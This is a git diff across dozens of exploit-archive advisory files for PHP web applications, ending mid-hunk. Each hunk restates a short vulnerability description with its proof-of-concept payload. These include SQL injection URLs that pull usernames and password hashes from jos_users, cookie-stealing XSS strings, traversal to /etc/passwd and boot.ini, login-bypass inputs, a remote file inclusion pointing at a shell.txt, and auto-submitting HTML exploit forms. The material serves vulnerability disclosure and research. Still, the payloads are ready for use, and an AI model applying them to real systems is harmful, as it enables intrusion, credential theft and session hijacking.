a/platforms/php/webapps/33242.txt +++ b/platforms/php/webapps/33242.txt @@ -5,4 +5,4 @@ Agent Zone is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/real/view_listing.php?id=4+and+substring(@@version,1,1)=5 True -http://www.example.com/real/view_listing.php?id=4+and+substring(@@version,1,1)=4 False \ No newline at end of file +http://www.example.com/real/view_listing.php?id=4+and+substring(@@version,1,1)=4 False \ No newline at end of file diff --git a/platforms/php/webapps/33256.txt b/platforms/php/webapps/33256.txt index 60a5016e6..8d0e7ed79 100755 --- a/platforms/php/webapps/33256.txt +++ b/platforms/php/webapps/33256.txt @@ -6,4 +6,4 @@ Successfully exploiting the security-bypass issue will allow an attacker to bypa The attacker could exploit the cross-site scripting issues to execute arbitrary script code in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/search.php?in=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/search.php?ex=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/search.php?ep=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/search.php?be=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/search.php?in=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/search.php?ex=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/search.php?ep=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/search.php?be=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/33262.txt b/platforms/php/webapps/33262.txt index 3dbed8566..33e9c3a48 100755 --- a/platforms/php/webapps/33262.txt +++ b/platforms/php/webapps/33262.txt @@ -8,4 +8,4 @@ Knowledge Manager 5 is vulnerable; other versions may also be affected. The following example URI is available: -http://www.example.com/admin/de/dialog/file_manager.php?w=&p=/../../../../../../../../../../../../../etc/hosts \ No newline at end of file +http://www.example.com/admin/de/dialog/file_manager.php?w=&p=/../../../../../../../../../../../../../etc/hosts \ No newline at end of file diff --git a/platforms/php/webapps/33266.txt b/platforms/php/webapps/33266.txt index 3e59f4880..4c4336047 100755 --- a/platforms/php/webapps/33266.txt +++ b/platforms/php/webapps/33266.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The following example URI is available: -http://www.example.com/index.php?option=com_cbresumebuilder&task=group_members&group_id=-666+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+jos_users-- \ No newline at end of file +http://www.example.com/index.php?option=com_cbresumebuilder&task=group_members&group_id=-666+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+jos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/33287.txt b/platforms/php/webapps/33287.txt index 3c44ad585..90ec18457 100755 --- a/platforms/php/webapps/33287.txt +++ b/platforms/php/webapps/33287.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects bloofoxCMS 0.3.5; other versions may be vulnerable as well. -http://www.example.com/search.5.html?search=x%27%22%3E%3Cscript%3Ealert(%22redneck%22)%3C/script%3E \ No newline at end of file +http://www.example.com/search.5.html?search=x%27%22%3E%3Cscript%3Ealert(%22redneck%22)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/33288.txt b/platforms/php/webapps/33288.txt index 573e4ccc3..6521b9104 100755 --- a/platforms/php/webapps/33288.txt +++ b/platforms/php/webapps/33288.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Zainu 1.0; other versions may be vulnerable as well. -http://www.example.com/demo/index.php?view=SearchSong&searchSongKeyword=buurp%22%27%3E%3Cscript%3Ealert(%22BUUURP%21%21%22)%3C/script%3E \ No newline at end of file +http://www.example.com/demo/index.php?view=SearchSong&searchSongKeyword=buurp%22%27%3E%3Cscript%3Ealert(%22BUUURP%21%21%22)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/33294.txt b/platforms/php/webapps/33294.txt index f678a0b7b..df44fbd27 100755 --- a/platforms/php/webapps/33294.txt +++ b/platforms/php/webapps/33294.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects TBmnetCMS 1.0; other versions may be vulnerable as well. -http://www.example.com/tbmnet.php?content=redneck%22%27%3E%3Cscript%3Ealert(/redneck/)%3C/script%3E \ No newline at end of file +http://www.example.com/tbmnet.php?content=redneck%22%27%3E%3Cscript%3Ealert(/redneck/)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/33308.txt b/platforms/php/webapps/33308.txt index d5ba4ea82..133515ad3 100755 --- a/platforms/php/webapps/33308.txt +++ b/platforms/php/webapps/33308.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor Sahana 0.6.2.2 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?stream=text&mod=/../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?stream=text&mod=/../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/33309.txt b/platforms/php/webapps/33309.txt index c38272cb0..14e27f929 100755 --- a/platforms/php/webapps/33309.txt +++ b/platforms/php/webapps/33309.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects TFTgallery 0.13; other versions may be vulnerable as well. -http://www.example.com/tftgallery/index.php?page=1&album= <script>document.write(document.cookie)</script> \ No newline at end of file +http://www.example.com/tftgallery/index.php?page=1&album= <script>document.write(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/33320.txt b/platforms/php/webapps/33320.txt index 820f0db50..aa5911de1 100755 --- a/platforms/php/webapps/33320.txt +++ b/platforms/php/webapps/33320.txt @@ -8,4 +8,4 @@ This issue affects TFTgallery 0.13; other versions may be vulnerable as well. The following example URI is available: -http://www.example.com/tftgallery/settings.php?sample='></link><script>alert('blake XSS test')</script>&name=cucumber%20cool \ No newline at end of file +http://www.example.com/tftgallery/settings.php?sample='></link><script>alert('blake XSS test')</script>&name=cucumber%20cool \ No newline at end of file diff --git a/platforms/php/webapps/33359.txt b/platforms/php/webapps/33359.txt index 289f2046e..547f41792 100755 --- a/platforms/php/webapps/33359.txt +++ b/platforms/php/webapps/33359.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML or JavaScript code could run in the context of the affect PHD Help Desk 1.43 is vulnerable; other versions may also be affected. -http://www.example.com/caso_insert.php/[code] \ No newline at end of file +http://www.example.com/caso_insert.php/[code] \ No newline at end of file diff --git a/platforms/php/webapps/33362.txt b/platforms/php/webapps/33362.txt index f61c78061..a649234e5 100755 --- a/platforms/php/webapps/33362.txt +++ b/platforms/php/webapps/33362.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The issue affects CubeCart 4.3.6; prior versions may also be affected. -http://www.example.com/store/index.php?_a=viewProd&productId=22+and+1=2+union+select+version() \ No newline at end of file +http://www.example.com/store/index.php?_a=viewProd&productId=22+and+1=2+union+select+version() \ No newline at end of file diff --git a/platforms/php/webapps/33367.txt b/platforms/php/webapps/33367.txt index c8c2f8b22..f8aaa4317 100755 --- a/platforms/php/webapps/33367.txt +++ b/platforms/php/webapps/33367.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to gain unauthorized access to the affecte FireStats 1.0.2 is vulnerable; other versions may also be affected. -<html> <head> <title>FireStats XSS exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://www.example.com/wp-content/plugins/firestats/php/ajax-handler.php?FS_FULL_INSTALLATION=1&FS_IN_WORDPRESS=0" method="post"> <input type="hidden" name="action" value="<BODY onload=alert(document.cookie)>" /> </body> </html> \ No newline at end of file +<html> <head> <title>FireStats XSS exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://www.example.com/wp-content/plugins/firestats/php/ajax-handler.php?FS_FULL_INSTALLATION=1&FS_IN_WORDPRESS=0" method="post"> <input type="hidden" name="action" value="<BODY onload=alert(document.cookie)>" /> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/33368.html b/platforms/php/webapps/33368.html index bd88d8281..3341f0f5a 100755 --- a/platforms/php/webapps/33368.html +++ b/platforms/php/webapps/33368.html @@ -6,4 +6,4 @@ An attacker may leverage these issues to gain unauthorized access to the affecte FireStats 1.0.2 is vulnerable; other versions may also be affected. -<html> <head> <title>FireStats Insuficient Anti-automation exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://www.example.com/wp-content/plugins/firestats/php/ajax-handler.php?FS_FULL_INSTALLATION=1&FS_IN_WORDPRESS=0" method="post"> <input type="hidden" name="action" value="reclaculateDBCache" /> </body> </html> \ No newline at end of file +<html> <head> <title>FireStats Insuficient Anti-automation exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://www.example.com/wp-content/plugins/firestats/php/ajax-handler.php?FS_FULL_INSTALLATION=1&FS_IN_WORDPRESS=0" method="post"> <input type="hidden" name="action" value="reclaculateDBCache" /> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/33371.txt b/platforms/php/webapps/33371.txt index d9e10522e..ba061c223 100755 --- a/platforms/php/webapps/33371.txt +++ b/platforms/php/webapps/33371.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to WP-Cumulus 1.23 are vulnerable. -http://www.example.com/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E \ No newline at end of file +http://www.example.com/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E \ No newline at end of file diff --git a/platforms/php/webapps/33372.html b/platforms/php/webapps/33372.html index adcce7ecd..47008ff1d 100755 --- a/platforms/php/webapps/33372.html +++ b/platforms/php/webapps/33372.html @@ -6,4 +6,4 @@ Successful exploits may allow attackers to bypass security restrictions and perf CapCC 1.0 is affected; other versions may also be vulnerable. -<html> <head><base href="http://websecurity.com.ua/uploads/2008/CapCC%20CAPTCHA%20bypass.html" /> <title>CapCC CAPTCHA bypass exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://sitewww.example.com/wp-comments-post.php" method="post"> <input type="hidden" name="author" value="Test"> <input type="hidden" name="email" value="test@www.example.com"> <input type="hidden" name="url" value="http://www.example.com"> <input type="hidden" name="comment" value="Captcha bypass test."> <input type="hidden" name="comment_post_ID" value="1"> <input type="hidden" name="capcc_captchakey" value="EQoenVjf6wemPguoYT6CJwl0O"> <input type="hidden" name="capcc_captcha" value="gthsw"> </form> </body> </html> \ No newline at end of file +<html> <head><base href="http://websecurity.com.ua/uploads/2008/CapCC%20CAPTCHA%20bypass.html" /> <title>CapCC CAPTCHA bypass exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://sitewww.example.com/wp-comments-post.php" method="post"> <input type="hidden" name="author" value="Test"> <input type="hidden" name="email" value="test@www.example.com"> <input type="hidden" name="url" value="http://www.example.com"> <input type="hidden" name="comment" value="Captcha bypass test."> <input type="hidden" name="comment_post_ID" value="1"> <input type="hidden" name="capcc_captchakey" value="EQoenVjf6wemPguoYT6CJwl0O"> <input type="hidden" name="capcc_captcha" value="gthsw"> </form> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/33376.pl b/platforms/php/webapps/33376.pl index 0ef6280ef..26346636c 100755 --- a/platforms/php/webapps/33376.pl +++ b/platforms/php/webapps/33376.pl @@ -50,7 +50,7 @@ print " ======================================================================== | klinza <= 0.0.1 Local File Include Exploit | Usage: klinza.pl [target] [path] [apachepath] -| Example: klinza.pl server /LANG/ ../logs/error.log +| Example: klinza.pl target.com /LANG/ ../logs/error.log | coded by : cr4wl3r ======================================================================== "; diff --git a/platforms/php/webapps/33381.txt b/platforms/php/webapps/33381.txt index c822e9a55..f2395b822 100755 --- a/platforms/php/webapps/33381.txt +++ b/platforms/php/webapps/33381.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Content 0.5 is affected; other versions may also be vulnerable. -http://www.example.com/modules/content/index.php?id=-1+UNION+SELECT+1,2,3,@@version,5,6,7,8,9,10,11-- \ No newline at end of file +http://www.example.com/modules/content/index.php?id=-1+UNION+SELECT+1,2,3,@@version,5,6,7,8,9,10,11-- \ No newline at end of file diff --git a/platforms/php/webapps/33382.txt b/platforms/php/webapps/33382.txt index 94ed7d1c9..ffc67f7d9 100755 --- a/platforms/php/webapps/33382.txt +++ b/platforms/php/webapps/33382.txt @@ -8,4 +8,4 @@ SmartMedia 0.85 Beta is affected; other versions may also be vulnerable. The following example URI is available: -http://www.example.com/modules/smartmedia/folder.php?categoryid=1>"><ScRiPt>alert(0);</ScRiPt>&folderid=1&start=0 \ No newline at end of file +http://www.example.com/modules/smartmedia/folder.php?categoryid=1>"><ScRiPt>alert(0);</ScRiPt>&folderid=1&start=0 \ No newline at end of file diff --git a/platforms/php/webapps/33385.txt b/platforms/php/webapps/33385.txt index 9ad3552a1..75469c28c 100755 --- a/platforms/php/webapps/33385.txt +++ b/platforms/php/webapps/33385.txt @@ -23,4 +23,4 @@ http://www.example.com/index.php?action=translate&cat=1&id=1&srclang=en"><script http://www.example.com/index.php?action=translate&cat=1&id=1"><script>alert(1)</script>&srclang=en http://www.example.com/index.php?action=translate&cat=1"><script>alert(1)</script>&id=1&srclang=en http://www.example.com/index.php?action=add&question=1&cat=1"><script>alert(1)</script> -http://www.example.com/index.php?action=add&question=1"><script>alert(1)</script>&cat=1 \ No newline at end of file +http://www.example.com/index.php?action=add&question=1"><script>alert(1)</script>&cat=1 \ No newline at end of file diff --git a/platforms/php/webapps/33396.txt b/platforms/php/webapps/33396.txt index e359fe9b9..5f964d19d 100755 --- a/platforms/php/webapps/33396.txt +++ b/platforms/php/webapps/33396.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects ZeeJobsite 3x; other versions may be vulnerable as well. -http://www.example.com/basic_search_result.php?title=<script>alert(/XSS/)</script> \ No newline at end of file +http://www.example.com/basic_search_result.php?title=<script>alert(/XSS/)</script> \ No newline at end of file diff --git a/platforms/php/webapps/33400.txt b/platforms/php/webapps/33400.txt index b37f130fb..093c53124 100755 --- a/platforms/php/webapps/33400.txt +++ b/platforms/php/webapps/33400.txt @@ -4,4 +4,4 @@ Ez Cart is prone to is prone to a cross-site scripting vulnerability because it An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/index.php?action=showcat&cid=1&sid=[XSS] \ No newline at end of file +http://www.example.com/index.php?action=showcat&cid=1&sid=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/33401.txt b/platforms/php/webapps/33401.txt index 713929810..18257fe01 100755 --- a/platforms/php/webapps/33401.txt +++ b/platforms/php/webapps/33401.txt @@ -9,4 +9,4 @@ Million Pixel Script 3, 3 Pro, and 3 Pro Lotto are vulnerable; other versions ma The following example URI is available: -http://www.example.com/?pa=[XSS] \ No newline at end of file +http://www.example.com/?pa=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/33404.txt b/platforms/php/webapps/33404.txt index fdbf57dba..0060fe05d 100755 --- a/platforms/php/webapps/33404.txt +++ b/platforms/php/webapps/33404.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The following example is available: -http://www.example.com/module.php?mod=[XSS] \ No newline at end of file +http://www.example.com/module.php?mod=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/33409.txt b/platforms/php/webapps/33409.txt index eaf899237..759485507 100755 --- a/platforms/php/webapps/33409.txt +++ b/platforms/php/webapps/33409.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The following example is available: Username : X' or ' 1=1 -Password : X' or ' 1=1 \ No newline at end of file +Password : X' or ' 1=1 \ No newline at end of file diff --git a/platforms/php/webapps/33410.txt b/platforms/php/webapps/33410.txt index fa94629e2..4313c278e 100755 --- a/platforms/php/webapps/33410.txt +++ b/platforms/php/webapps/33410.txt @@ -10,4 +10,4 @@ Versions prior to Sections 5.x-1.3 and 6.x-1.3 are vulnerable. The following example input is available: -<script>alert('xss');</script> \ No newline at end of file +<script>alert('xss');</script> \ No newline at end of file diff --git a/platforms/php/webapps/33411.txt b/platforms/php/webapps/33411.txt index 9ca3bf9b3..1203996f6 100755 --- a/platforms/php/webapps/33411.txt +++ b/platforms/php/webapps/33411.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br iSupport 1.8 and prior versions are vulnerable. -http://www.example.comhelpdesk/function.php?which=%3Cscript%3Ealert%28/XSS/.source%29%3C/script%3E \ No newline at end of file +http://www.example.comhelpdesk/function.php?which=%3Cscript%3Ealert%28/XSS/.source%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/33416.txt b/platforms/php/webapps/33416.txt index 560865c9b..175ccfc9a 100755 --- a/platforms/php/webapps/33416.txt +++ b/platforms/php/webapps/33416.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th QuiXplorer 2.4.1beta is vulnerable; other versions may also be affected. -http://www.example.com/path/?lang=../path/to/malicious_uploaded_code \ No newline at end of file +http://www.example.com/path/?lang=../path/to/malicious_uploaded_code \ No newline at end of file diff --git a/platforms/php/webapps/33417.txt b/platforms/php/webapps/33417.txt index 12a73b128..bc9dd4df0 100755 --- a/platforms/php/webapps/33417.txt +++ b/platforms/php/webapps/33417.txt @@ -9,4 +9,4 @@ cPanel versions prior to 11.25.0 are affected. http://www.example.com:2082/frontend/x3/files/fileop.html?opdir=[PATH]&opfile=[FILENAME]&fileop=XSS -http://www.example.com:2082/frontend/x3/files/dofileop.html?fileop=&opdir=&opfile=&dir=%2fhome%2fuser%2ftmp&fileop=HaCkED%20by%20RENO \ No newline at end of file +http://www.example.com:2082/frontend/x3/files/dofileop.html?fileop=&opdir=&opfile=&dir=%2fhome%2fuser%2ftmp&fileop=HaCkED%20by%20RENO \ No newline at end of file diff --git a/platforms/php/webapps/33418.txt b/platforms/php/webapps/33418.txt index 7127f5fd5..0c5354fb0 100755 --- a/platforms/php/webapps/33418.txt +++ b/platforms/php/webapps/33418.txt @@ -4,4 +4,4 @@ The 'com_joomportfolio' component for Joomla! is prone to an SQL-injection vulne Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_joomportfolio&Itemid=552&task=showcat&catid=1&secid=1/**/and/**/1=0/**/union/**/select/**/concat(username,0x3a,password),user()/**/from/**/jos_users/**/ \ No newline at end of file +http://www.example.com/index.php?option=com_joomportfolio&Itemid=552&task=showcat&catid=1&secid=1/**/and/**/1=0/**/union/**/select/**/concat(username,0x3a,password),user()/**/from/**/jos_users/**/ \ No newline at end of file diff --git a/platforms/php/webapps/33420.txt b/platforms/php/webapps/33420.txt index 4789e0c95..c4597bfed 100755 --- a/platforms/php/webapps/33420.txt +++ b/platforms/php/webapps/33420.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and F3Site 2009 is vulnerable; other versions may also be affected. -http://www.example.com/mod/new.php?GLOBALS[nlang]=[LFI%00] \ No newline at end of file +http://www.example.com/mod/new.php?GLOBALS[nlang]=[LFI%00] \ No newline at end of file diff --git a/platforms/php/webapps/33421.txt b/platforms/php/webapps/33421.txt index 70f0e82e6..2494d5fb1 100755 --- a/platforms/php/webapps/33421.txt +++ b/platforms/php/webapps/33421.txt @@ -9,4 +9,4 @@ Ampache 3.4.3 is vulnerable; other versions may also be affected. The following data is available: username : x' or ' 1=1 -password : x' or ' 1=1 \ No newline at end of file +password : x' or ' 1=1 \ No newline at end of file diff --git a/platforms/php/webapps/33422.txt b/platforms/php/webapps/33422.txt index 47ba19678..6cd82d4fc 100755 --- a/platforms/php/webapps/33422.txt +++ b/platforms/php/webapps/33422.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow JBC Explorer 7.20 is vulnerable; other versions may also be affected. -http://www.example.com/album/dirsys/arbre.php?0=search&last=1<body+onload=alert(document.cookie)> \ No newline at end of file +http://www.example.com/album/dirsys/arbre.php?0=search&last=1<body+onload=alert(document.cookie)> \ No newline at end of file diff --git a/platforms/php/webapps/33436.txt b/platforms/php/webapps/33436.txt index 970179726..a8be96230 100755 --- a/platforms/php/webapps/33436.txt +++ b/platforms/php/webapps/33436.txt @@ -8,4 +8,4 @@ PHP-Calendar 1.1 is vulnerable; other versions may also be affected. http://www.example.com/php-calendar-1.1/update08.php?configfile=//servername/path/to/file.php http://www.example.com/php-calendar-1.1/update08.php?configfile=ftp://guest:pass@site/path/to/file.php -http://www.example.com/php-calendar-1.1/update08.php?configfile=/etc/passwd \ No newline at end of file +http://www.example.com/php-calendar-1.1/update08.php?configfile=/etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/33437.txt b/platforms/php/webapps/33437.txt index e3c18e1e7..76eaea02a 100755 --- a/platforms/php/webapps/33437.txt +++ b/platforms/php/webapps/33437.txt @@ -8,4 +8,4 @@ PHP-Calendar 1.1 is vulnerable; other versions may also be affected. http://www.example.com/php-calendar-1.1/update10.php?configfile=\\ip\path\to\file.php http://www.example.com/php-calendar-1.1/update10.php?configfile=ftp://site/path/to/file.php -http://www.example.com/php-calendar-1.1/update10.php?configfile=/etc/passwd \ No newline at end of file +http://www.example.com/php-calendar-1.1/update10.php?configfile=/etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/33439.txt b/platforms/php/webapps/33439.txt index aab92c07f..12e6130f4 100755 --- a/platforms/php/webapps/33439.txt +++ b/platforms/php/webapps/33439.txt @@ -8,4 +8,4 @@ MyBB 1.4.10 is vulnerable; other versions may be affected as well. http://www.example.com/myps.php?action=donate&username="/> -http://www.example.com/myps.php?action=donate&username=<IMG""">"> \ No newline at end of file +http://www.example.com/myps.php?action=donate&username=<IMG""">"> \ No newline at end of file diff --git a/platforms/php/webapps/33444.txt b/platforms/php/webapps/33444.txt index b005e07ce..fbac66d6a 100755 --- a/platforms/php/webapps/33444.txt +++ b/platforms/php/webapps/33444.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include an arbitrary remote file containin DBHcms 1.1.4 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?dbhcms_core_dir=http://www.example.org/shell.txt%00 \ No newline at end of file +http://www.example.com/index.php?dbhcms_core_dir=http://www.example.org/shell.txt%00 \ No newline at end of file diff --git a/platforms/php/webapps/33445.txt b/platforms/php/webapps/33445.txt index fd912681f..527a83251 100755 --- a/platforms/php/webapps/33445.txt +++ b/platforms/php/webapps/33445.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow phpInstantGallery 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/instantgallery/admin.php/>"><ScRiPt>alert(213771818860)</ScRiPt> \ No newline at end of file +http://www.example.com/instantgallery/admin.php/>"><ScRiPt>alert(213771818860)</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/33446.txt b/platforms/php/webapps/33446.txt index 63dc83557..fe0118bb8 100755 --- a/platforms/php/webapps/33446.txt +++ b/platforms/php/webapps/33446.txt @@ -9,4 +9,4 @@ The following example URIs are available: http://www.example.com/barbo91_uploads/upload.php?MAX_FILE_SIZE=1024000&UploadedFile=1<script>alert(213771818860)</script> -http://www.example.com/barbo91_uploads/upload.php?MAX_FILE_SIZE=1024000&UploadedFile=1<img+src=http://server/Hack.jpg+onload=alert(213771818860)> \ No newline at end of file +http://www.example.com/barbo91_uploads/upload.php?MAX_FILE_SIZE=1024000&UploadedFile=1<img+src=http://server/Hack.jpg+onload=alert(213771818860)> \ No newline at end of file diff --git a/platforms/php/webapps/33452.txt b/platforms/php/webapps/33452.txt index bd5845b05..a58a4091e 100755 --- a/platforms/php/webapps/33452.txt +++ b/platforms/php/webapps/33452.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Imagevue r16 is vulnerable; other versions may also be affected. -http://www.example.com/upload/admin/upload.php?amount=<img+src=http://127.0.0.1/dot.gif+onload=alert(213771818860)>&path=hacked%20by%20indoushka \ No newline at end of file +http://www.example.com/upload/admin/upload.php?amount=<img+src=http://127.0.0.1/dot.gif+onload=alert(213771818860)>&path=hacked%20by%20indoushka \ No newline at end of file diff --git a/platforms/php/webapps/33458.txt b/platforms/php/webapps/33458.txt index ff75de66e..fd3b5e5c4 100755 --- a/platforms/php/webapps/33458.txt +++ b/platforms/php/webapps/33458.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Discuz! 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/member.php?action=logout&referer=http://127.0.0.1/1"'><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt> \ No newline at end of file +http://www.example.com/member.php?action=logout&referer=http://127.0.0.1/1"'><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/33459.txt b/platforms/php/webapps/33459.txt index ddc405ef8..73c794277 100755 --- a/platforms/php/webapps/33459.txt +++ b/platforms/php/webapps/33459.txt @@ -9,4 +9,4 @@ DieselPay 1.6 is vulnerable; other versions may also be affected. The following example URIs are available: http://www.example.com/dieselpay/index.php?read=<ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt> -http://www.example.com/dieselpay/index.php?read=../../../../../../../../boot.ini \ No newline at end of file +http://www.example.com/dieselpay/index.php?read=../../../../../../../../boot.ini \ No newline at end of file diff --git a/platforms/php/webapps/33460.txt b/platforms/php/webapps/33460.txt index 985406a8d..a0382674a 100755 --- a/platforms/php/webapps/33460.txt +++ b/platforms/php/webapps/33460.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Magic News Plus 1.0.2 is vulnerable; other versions may also be affected. -http://www.example.com/index.php/>[xss] \ No newline at end of file +http://www.example.com/index.php/>[xss] \ No newline at end of file diff --git a/platforms/php/webapps/33461.txt b/platforms/php/webapps/33461.txt index bf0968b1c..c8895a92d 100755 --- a/platforms/php/webapps/33461.txt +++ b/platforms/php/webapps/33461.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PHPCart 3.1.2 is vulnerable; other versions may also be affected. -http://www.example.com/admin/search.php?action=submit&order_id=[xss] \ No newline at end of file +http://www.example.com/admin/search.php?action=submit&order_id=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/33462.txt b/platforms/php/webapps/33462.txt index 4a6cd3b68..ec8f39f06 100755 --- a/platforms/php/webapps/33462.txt +++ b/platforms/php/webapps/33462.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow VirtuaNews Pro 1.0.4 is vulnerable; other versions may also be affected. -http://www.example.com/upload/admin.php?username=[xss] \ No newline at end of file +http://www.example.com/upload/admin.php?username=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/33463.txt b/platforms/php/webapps/33463.txt index 3bee78969..f7bdbbd3f 100755 --- a/platforms/php/webapps/33463.txt +++ b/platforms/php/webapps/33463.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow VisionGate 1.6 is vulnerable; other versions may also be affected. -http://www.example.com/login.php?url=[xss] \ No newline at end of file +http://www.example.com/login.php?url=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/33464.txt b/platforms/php/webapps/33464.txt index 006e1f167..d01ea4a69 100755 --- a/platforms/php/webapps/33464.txt +++ b/platforms/php/webapps/33464.txt @@ -8,4 +8,4 @@ Discuz! 2.0 is vulnerable; other versions may also be affected. http://www.example.com/Discuz/post.php?action=edit&fid=1&tid=17&pid=>"><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt>&page=1 -http://www.example.com/Discuz/misc.php?action=emailfriend&tid=>"><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt> \ No newline at end of file +http://www.example.com/Discuz/misc.php?action=emailfriend&tid=>"><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/33465.txt b/platforms/php/webapps/33465.txt index c32ccd782..310b4d6bb 100755 --- a/platforms/php/webapps/33465.txt +++ b/platforms/php/webapps/33465.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SLAED CMS 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?name=Recommend&stop=<ScRiPt+src=http://127.0.0.1/xss.js?213771818860></ScRiPt> \ No newline at end of file +http://www.example.com/index.php?name=Recommend&stop=<ScRiPt+src=http://127.0.0.1/xss.js?213771818860></ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/33469.txt b/platforms/php/webapps/33469.txt index 39d6391be..420dac196 100755 --- 